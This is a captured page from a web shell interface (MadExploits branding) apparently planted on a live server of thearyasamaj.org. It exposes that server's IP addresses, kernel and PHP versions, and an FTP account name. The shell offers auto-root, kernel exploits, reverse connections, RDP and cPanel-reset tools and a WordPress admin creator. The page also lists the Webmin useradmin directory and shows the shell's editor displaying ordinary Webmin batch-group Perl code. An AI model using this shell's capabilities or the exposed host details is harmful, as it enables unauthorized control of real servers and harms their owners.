Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.158
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
useradmin /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
5.66
KB
-rw-r--r--
acl_security.pl
13.74
KB
-rwxr-xr-x
aix-lib.pl
1.17
KB
-rwxr-xr-x
backup_config.pl
749
B
-rwxr-xr-x
batch_exec.cgi
17.21
KB
-rwxr-xr-x
batch_form.cgi
2.42
KB
-rwxr-xr-x
cgi_args.pl
477
B
-rwxr-xr-x
config-aix
703
B
-rw-r--r--
config-cobalt-linux
710
B
-rw-r--r--
config-coherent-linux
657
B
-rw-r--r--
config-corel-linux
665
B
-rw-r--r--
config-debian-linux
665
B
-rw-r--r--
config-freebsd
684
B
-rw-r--r--
config-generic-linux
677
B
-rw-r--r--
config-gentoo-linux
637
B
-rw-r--r--
config-hpux
579
B
-rw-r--r--
config-irix
757
B
-rw-r--r--
config-macos
581
B
-rw-r--r--
config-mandrake-linux
662
B
-rw-r--r--
config-msc-linux
657
B
-rw-r--r--
config-netbsd
623
B
-rw-r--r--
config-open-linux
687
B
-rw-r--r--
config-openSUSE-Linux-15.0-ALL
715
B
-rw-r--r--
config-openbsd
636
B
-rw-r--r--
config-openmamba-linux
657
B
-rw-r--r--
config-openserver
841
B
-rw-r--r--
config-osf1
579
B
-rw-r--r--
config-pardus-linux
665
B
-rw-r--r--
config-redhat-linux-15.0-ALL
659
B
-rw-r--r--
config-redhat-linux-ALL-14.9
657
B
-rw-r--r--
config-slackware-linux
663
B
-rw-r--r--
config-sol-linux
657
B
-rw-r--r--
config-solaris
631
B
-rw-r--r--
config-suse-linux
677
B
-rw-r--r--
config-suse-linux-9.0-ALL
715
B
-rw-r--r--
config-trustix-linux
657
B
-rw-r--r--
config-turbo-linux
677
B
-rw-r--r--
config-united-linux
677
B
-rw-r--r--
config-unixware
595
B
-rw-r--r--
config.info
4.05
KB
-rw-r--r--
config.info.bg
7.87
KB
-rw-r--r--
config.info.ca
4.82
KB
-rw-r--r--
config.info.cs
4.21
KB
-rw-r--r--
config.info.da
3.7
KB
-rw-r--r--
config.info.de
4.65
KB
-rw-r--r--
config.info.es
4.34
KB
-rw-r--r--
config.info.fa
6.04
KB
-rw-r--r--
config.info.fr
2.77
KB
-rw-r--r--
config.info.hu
0
B
-rw-r--r--
config.info.ja
4.96
KB
-rw-r--r--
config.info.nl
4.61
KB
-rw-r--r--
config.info.no
4.12
KB
-rw-r--r--
config.info.pl
3.01
KB
-rw-r--r--
config.info.pt_BR
4.36
KB
-rw-r--r--
config.info.ru
4.61
KB
-rw-r--r--
config.info.sv
1.06
KB
-rw-r--r--
config.info.tr
3.69
KB
-rw-r--r--
config.info.uk
4.58
KB
-rw-r--r--
config.info.zh
961
B
-rw-r--r--
config.info.zh_TW
909
B
-rw-r--r--
cpan_modules.pl
256
B
-rwxr-xr-x
defaultacl
358
B
-rw-r--r--
delete_group.cgi
2.18
KB
-rwxr-xr-x
delete_user.cgi
4.67
KB
-rwxr-xr-x
edit_group.cgi
4.97
KB
-rwxr-xr-x
edit_user.cgi
18.46
KB
-rwxr-xr-x
export_exec.cgi
2.9
KB
-rwxr-xr-x
export_form.cgi
1.77
KB
-rwxr-xr-x
freebsd-lib.pl
1.74
KB
-rwxr-xr-x
gbatch_exec.cgi
8.1
KB
-rwxr-xr-x
gbatch_form.cgi
1.59
KB
-rwxr-xr-x
gexport_exec.cgi
1.73
KB
-rwxr-xr-x
gexport_form.cgi
1.26
KB
-rwxr-xr-x
help.html
6.79
KB
-rw-r--r--
hpux-lib.pl
1.02
KB
-rwxr-xr-x
index.cgi
7.38
KB
-rwxr-xr-x
irix-lib.pl
1.09
KB
-rwxr-xr-x
linux-lib.pl
4.75
KB
-rwxr-xr-x
list_logins.cgi
1.55
KB
-rwxr-xr-x
list_who.cgi
945
B
-rwxr-xr-x
log_parser.pl
1.68
KB
-rwxr-xr-x
macos-lib.pl
3.15
KB
-rwxr-xr-x
mass_delete_group.cgi
2.41
KB
-rwxr-xr-x
mass_delete_user.cgi
7.65
KB
-rwxr-xr-x
md5-lib.pl
7.58
KB
-rwxr-xr-x
module.info
544
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
155
B
-rw-r--r--
module.info.ar
173
B
-rw-r--r--
module.info.ar.auto
34
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
247
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
228
B
-rw-r--r--
module.info.ca
117
B
-rw-r--r--
module.info.ca.auto
27
B
-rw-r--r--
module.info.cs
30
B
-rw-r--r--
module.info.cs.auto
134
B
-rw-r--r--
module.info.da
27
B
-rw-r--r--
module.info.da.auto
116
B
-rw-r--r--
module.info.de
133
B
-rw-r--r--
module.info.de.auto
25
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
258
B
-rw-r--r--
module.info.es
26
B
-rw-r--r--
module.info.es.auto
136
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
175
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
220
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
156
B
-rw-r--r--
module.info.fr
32
B
-rw-r--r--
module.info.fr.auto
154
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
182
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
147
B
-rw-r--r--
module.info.hu
37
B
-rw-r--r--
module.info.hu.auto
156
B
-rw-r--r--
module.info.it
0
B
-rw-r--r--
module.info.it.auto
129
B
-rw-r--r--
module.info.ja
39
B
-rw-r--r--
module.info.ja.auto
175
B
-rw-r--r--
module.info.ko
29
B
-rw-r--r--
module.info.ko.auto
142
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
166
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
167
B
-rw-r--r--
module.info.ms
124
B
-rw-r--r--
module.info.ms.auto
26
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
133
B
-rw-r--r--
module.info.nl
30
B
-rw-r--r--
module.info.nl.auto
123
B
-rw-r--r--
module.info.no
27
B
-rw-r--r--
module.info.no.auto
116
B
-rw-r--r--
module.info.pl
122
B
-rw-r--r--
module.info.pl.auto
31
B
-rw-r--r--
module.info.pt
30
B
-rw-r--r--
module.info.pt.auto
124
B
-rw-r--r--
module.info.pt_BR
30
B
-rw-r--r--
module.info.pt_BR.auto
130
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
167
B
-rw-r--r--
module.info.ru
49
B
-rw-r--r--
module.info.ru.auto
208
B
-rw-r--r--
module.info.sk
0
B
-rw-r--r--
module.info.sk.auto
177
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
163
B
-rw-r--r--
module.info.sv
31
B
-rw-r--r--
module.info.sv.auto
128
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
260
B
-rw-r--r--
module.info.tr
31
B
-rw-r--r--
module.info.tr.auto
147
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
247
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
232
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
177
B
-rw-r--r--
module.info.zh
24
B
-rw-r--r--
module.info.zh.auto
103
B
-rw-r--r--
module.info.zh_TW
30
B
-rw-r--r--
module.info.zh_TW.auto
109
B
-rw-r--r--
my_group_chooser.cgi
6.9
KB
-rwxr-xr-x
my_user_chooser.cgi
6.56
KB
-rwxr-xr-x
netbsd-lib.pl
1.74
KB
-rwxr-xr-x
openbsd-lib.pl
1.74
KB
-rwxr-xr-x
openserver-lib.pl
1.18
KB
-rwxr-xr-x
osf1-lib.pl
1.01
KB
-rwxr-xr-x
prefs.info
134
B
-rw-r--r--
rbac-mapping
190
B
-rw-r--r--
save_group.cgi
4.86
KB
-rwxr-xr-x
save_user.cgi
20.39
KB
-rwxr-xr-x
search_group.cgi
991
B
-rwxr-xr-x
search_user.cgi
1.33
KB
-rwxr-xr-x
solaris-lib.pl
1.78
KB
-rwxr-xr-x
unixware-lib.pl
1.13
KB
-rwxr-xr-x
user-lib.pl
71.71
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : gbatch_exec.cgi
#!/usr/bin/perl # Execute create/modify/delete group commands in a batch file require './user-lib.pl'; $access{'batch'} || &error($text{'gbatch_ecannot'}); if ($ENV{'REQUEST_METHOD'} eq 'GET') { &ReadParse(); } else { &ReadParseMime(); } if ($in{'source'} == 0) { $data = $in{'file'}; $data =~ /\S/ || &error($text{'batch_efile'}); } elsif ($in{'source'} == 1) { open(LOCAL, "<$in{'local'}") || &error($text{'batch_elocal'}); while(<LOCAL>) { $data .= $_; } close(LOCAL); } elsif ($in{'source'} == 2) { $data = $in{'text'}; $data =~ /\S/ || &error($text{'batch_etext'}); } &ui_print_unbuffered_header(undef, $text{'gbatch_title'}, ""); # Force defaults for save options $in{'chgid'} = 1 if (!$access{'chgid'}); # Work out a good base GID for new groups &build_group_used(\%gused, \%gtaken); $newgid = int($config{'base_gid'} > $access{'lowgid'} ? $config{'base_gid'} : $access{'lowgid'}); # Process the file &batch_start() if ($in{'batch'}); &lock_user_files(); $lnum = $created = $modified = $deleted = 0; print "<pre>\n"; $pft = &passfiles_type(); foreach $line (split(/[\r\n]+/, $data)) { $lnum++; $line =~ s/^\s*#.*$//; next if ($line !~ /\S/); local @line = split(/:/, $line, -1); local %group; if ($line[0] eq 'create') { # Creating a new group # Validate line if (!$line[1]) { print &text('batch_eline', $lnum),"\n"; next; } if (@line != 5) { print &text('batch_elen', $lnum, 5),"\n"; next; } if ($line[1] !~ /^[^:\t]+$/) { print &text('gbatch_egroupname', $lnum),"\n"; next; } $group{'group'} = $line[1]; if ($gtaken{$group{'group'}}) { print &text('gbatch_egroup', $lnum, $group{'group'}),"\n"; next; } if ($line[3] !~ /^\d+$/) { # make up a GID while($gused{$newgid}) { $newgid++; } $group{'gid'} = $newgid; } else { # use the given UID if ($gused{$line[3]} && !$access{'gmultiple'}) { print &text('gbatch_ecaccess', $lnum, $text{'gsave_egidused2'}),"\n"; next; } $group{'gid'} = $line[3]; } $gused{$group{'gid'}}++; $group{'members'} = $line[4]; # Check access control restrictions if (!$access{'gcreate'}) { print &text('gbatch_ecaccess', $lnum, $text{'gsave_ecreate'}); next; } local $ch = &check_group(\%group); if ($ch) { print &text('gbatch_ecaccess', $lnum, $ch),"\n"; next; } if ($line[2] eq '') { # No password needed $group{'pass'} = ''; $group{'passmode'} = 0; } else { # Normal password $group{'pass'} = &encrypt_password($line[2]); $group{'passmode'} = 3; $group{'plainpass'} = $line[2]; } # Run the before command &set_user_envs(\%group, 'CREATE_GROUP'); $merr = &making_changes(); &error(&text('gsave_emaking', "<tt>$merr</tt>")) if (defined($merr)); # Create the group! &create_group(\%group); # All done &made_changes(); # Call other modules, ignoring any failures $error_must_die = 1; eval { &other_modules("useradmin_create_group", \%group) if ($access{'cothers'} == 1 && $in{'others'} || $access{'cothers'} == 0); }; $other_err = $@; $error_must_die = 0; print "<b>",&text('gbatch_created', $group{'group'}),"</b>\n"; print "<b><i>",&text('batch_eother', $other_err),"</i></b>\n" if ($other_err); $created++; } elsif ($line[0] eq 'delete') { # Deleting an existing group if (@line != 2) { print &text('batch_elen', $lnum, 2),"\n"; next; } local @glist = &list_groups(); local ($group) = grep { $_->{'group'} eq $line[1] } @glist; if (!$group) { print &text('gbatch_enogroup', $lnum, $line[1]),"\n"; next; } # Check if deletion is allowed if (!&can_edit_group(\%access, $group)) { print &text('gbatch_edaccess', $lnum, $text{'gdel_egroup'}),"\n"; next; } if (!$config{'delete_root'} && $group->{'gid'} <= 10) { print &text('gbatch_edaccess', $lnum, $text{'gdel_egroup'}),"\n"; next; } # Check if has primary members local $prim; foreach $u (&list_users()) { if ($u->{'gid'} == $group->{'gid'}) { $prim = $u; last; } } if ($prim) { print &text('gbatch_eprimary', $lnum, $prim->{'user'}),"\n"; next; } # Run the before command &set_user_envs($group, 'DELETE_GROUP'); $merr = &making_changes(); &error(&text('usave_emaking', "<tt>$merr</tt>")) if (defined($merr)); # Delete from other modules, ignoring errors $error_must_die = 1; eval { &other_modules("useradmin_delete_group", $group) if ($access{'dothers'} == 1 && $in{'others'} || $access{'dothers'} == 0); }; $other_err = $@; $error_must_die = 0; # Delete the user entry &delete_group($group); &made_changes(); print "<b>",&text('gbatch_deleted',$group->{'group'}),"</b>\n"; print "<b><i>",&text('batch_eother', $other_err),"</i></b>\n" if ($other_err); $deleted++; } elsif ($line[0] eq 'modify') { # Modifying an existing group if (@line != 6) { print &text('batch_elen', $lnum, 6),"\n"; next; } local @glist = &list_groups(); local ($group) = grep { $_->{'group'} eq $line[1] } @glist; if (!$group) { print &text('gbatch_enogroup', $lnum, $line[1]),"\n"; next; } %oldgroup = %group = %$group; $user{'olduser'} = $user->{'user'}; if (!&can_edit_group(\%access, \%group)) { print &text('gbatch_emaccess', $lnum, $text{'gsave_eedit'}),"\n"; next; } # Update supplied fields if ($line[2] ne '') { if (!$access{'grename'}) { print &text('gbatch_erename', $lnum, $line[1]),"\n"; } $group{'group'} = $line[2]; } if ($line[3] ne '') { # New normal password $group{'pass'} = &encrypt_password($line[3]); $group{'passmode'} = 3; $group{'plainpass'} = $line[3]; } else { # No change $group{'passmode'} = 4; } $group{'gid'} = $line[4] if ($line[4] ne ''); if ($line[5] =~ /^\s+$/ || $line[5] eq 'NONE') { # No members $group{'members'} = ''; } elsif ($line[5]) { $group{'members'} = $line[5]; } # Check access control restrictions local $ch = &check_group(\%group, \%oldgroup); if ($ch) { print &text('gbatch_emaccess', $lnum, $ch),"\n"; next; } # Run the before command &set_user_envs(\%group, 'MODIFY_GROUP'); $merr = &making_changes(); &error(&text('usave_emaking', "<tt>$merr</tt>")) if (defined($merr)); # Change GIDs if ($oldgroup{'gid'} != $group{'gid'} && $in{'chgid'}) { if ($in{'chgid'} == 1) { # Do all the home directories of members &change_all_home_groups( $oldgroup{'gid'}, $group{'gid'}, [ split(/,/, $group{'members'}) ]); } else { # Do all files in this group from the root dir &recursive_change("/", -1, $oldgroup{'gid'}, -1, $group{'gid'}); } } # Actually modify the group &modify_group(\%oldgroup, \%group); &made_changes(); # Modify in other modules, ignoring errors $error_must_die = 1; eval { &other_modules("groupadmin_modify_group", \%group, \%oldgroup) if ($access{'mothers'} == 1 && $in{'others'} || $access{'mothers'} == 0); }; $error_must_die = 0; $other_err = $@; print "<b>",&text('batch_modified',$oldgroup{'group'}),"</b>\n"; print "<b><i>",&text('batch_eother', $other_err),"</i></b>\n" if ($other_err); $modified++; } else { print &text('batch_eaction', $lnum, $line[0]),"\n"; next; } } print "</pre>\n"; &batch_end() if ($in{'batch'}); &unlock_user_files(); &webmin_log("gbatch", undef, $in{'source'} == 1 ? $in{'local'} : undef, { 'created' => $created, 'modified' => $modified, 'deleted' => $deleted, 'lnum' => $lnum } ); &ui_print_footer("gbatch_form.cgi", $text{'batch_return'}, "index.cgi?mode=groups", $text{'index_return'}); # check_group(\%group, [\%oldgroup]) # Check access control restrictions for a group sub check_group { # check if gid is within range if ($access{'lowgid'} && $_[0]->{'gid'} < $access{'lowgid'}) { return &text('usave_elowgid', $access{'lowuid'}); } if ($access{'hiuid'} && $_[0]->{'uid'} > $access{'hiuid'}) { return &text('usave_ehiuid', $access{'hiuid'}); } if ($_[1] && !$access{'ggid'} && $_[1]->{'gid'} != $_[0]->{'gid'}) { return $text{'gsave_eggid'}; } return undef; }
Close